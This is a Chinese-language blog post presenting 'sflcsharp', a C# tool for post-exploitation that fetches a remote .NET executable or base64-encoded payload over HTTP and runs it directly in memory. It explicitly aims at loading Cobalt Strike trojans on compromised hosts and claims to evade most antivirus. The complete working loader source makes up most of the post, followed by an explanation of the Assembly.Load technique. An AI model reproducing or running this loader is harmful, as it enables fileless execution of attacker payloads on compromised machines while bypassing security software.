利用一個完全安全的C#檔案下載遠端木馬到記憶體進行執行

2020-09-25 11:01:20

前言

拿到一臺主機的shell後,我們一般會想辦法「升級」shell,最常見的是上傳一個CS的木馬,這樣對我們的後滲透工作會十分方便。

程式碼實現:sflcsharp

免殺效果

在這裡插入圖片描述
絕大多數都是不查殺的

執行效果

我們提前在ip為10.92.52.27的主機上傳了兩個檔案,一個為helloworld.exe,一個是此檔案的base64密文形式。此exe檔案執行效果為在命令輸出fffffff,如下圖所示:

在這裡插入圖片描述
這時候使用sflcsharp的-b引數來載入遠端的c#語言的exe檔案:
在這裡插入圖片描述
使用-b64引數來載入遠端的b64密文:
在這裡插入圖片描述

程式碼詳解

using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System;
using System.IO;
using System.Net;
using System.Linq;
using System.Reflection;

namespace demo1
{
    class Program
    {
        static void Main(string[] args)
        {
            string fileDownloadurl = null;
            string filedownloadtype = null;
            byte[] filebuffer = null;
            try
            {
                fileDownloadurl = args[1];
                filedownloadtype = args[0];
            }
            catch
            {
                Console.WriteLine("\n載入遠端exe檔案到記憶體執行:sflcsharp.exe -b exe檔案的url");
                Console.WriteLine("\n載入遠端base64密文件案到記憶體執行:為sflcsharp.exe -b64 b64檔案的url");
                Environment.Exit(0);
            }
            if (filedownloadtype == "-b")
            {
                filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);
            }
            if (filedownloadtype == "-b64")
            {
                filebuffer = downloadbase64(fileDownloadurl);
            }
            if (filebuffer != null)
            {
                Console.WriteLine("正在將下載下來的程式載入到當前使用者的記憶體中");
                Assembly assemblyinstance = Assembly.Load(filebuffer);  //將下載下來的程式載入到當前使用者的記憶體中
                Console.WriteLine("正在尋找程式入口點並執行程式");
                assemblyinstance.EntryPoint.Invoke(null,new object[] { null}); //找到程式的入口點並執行程式
                Console.WriteLine("\n程式執行完畢");
            }
        }
        public static byte[] Downloadbinarypefilebyhttp(string url)
        {
            Console.WriteLine("\n建立WebClient類用來下載PE檔案");
            WebClient downloadwebclient = new WebClient();  //這個類可以從指定url上下載或者上傳資料
            Console.WriteLine("\n下載檔案後自動儲存為byte[]格式\n");
            byte[] test = downloadwebclient.DownloadData(url);
            return test;
        }
        public static byte[] downloadbase64(string url)
        {
            Console.WriteLine("\n建立WebClient類用來下載base64密文件案,下載到的資料按照字串格式儲存在記憶體");
            WebClient downloadwebclient = new WebClient();  //這個類可以從指定url上下載或者上傳資料
            string b64 = downloadwebclient.DownloadString(url);
            Console.WriteLine("將base64字串轉換為byte[]型別的資料");
            byte[] test = Convert.FromBase64String(b64);
            return test;
        }
    }
}

原理解釋

windows的.NET框架其中有一個類為assembly類。這個類可以家在byte[]型別的資料到記憶體中並當作一個assembly檔案去執行。assembly檔案就是c#寫的dll檔案與exe檔案。然而還有函數可以將遠端的exe檔案下載到本地並用byte[]格式去儲存。這兩個方式結合後就可以實現下載遠端c#檔案到記憶體中直接執行,可以繞過絕大多數殺軟。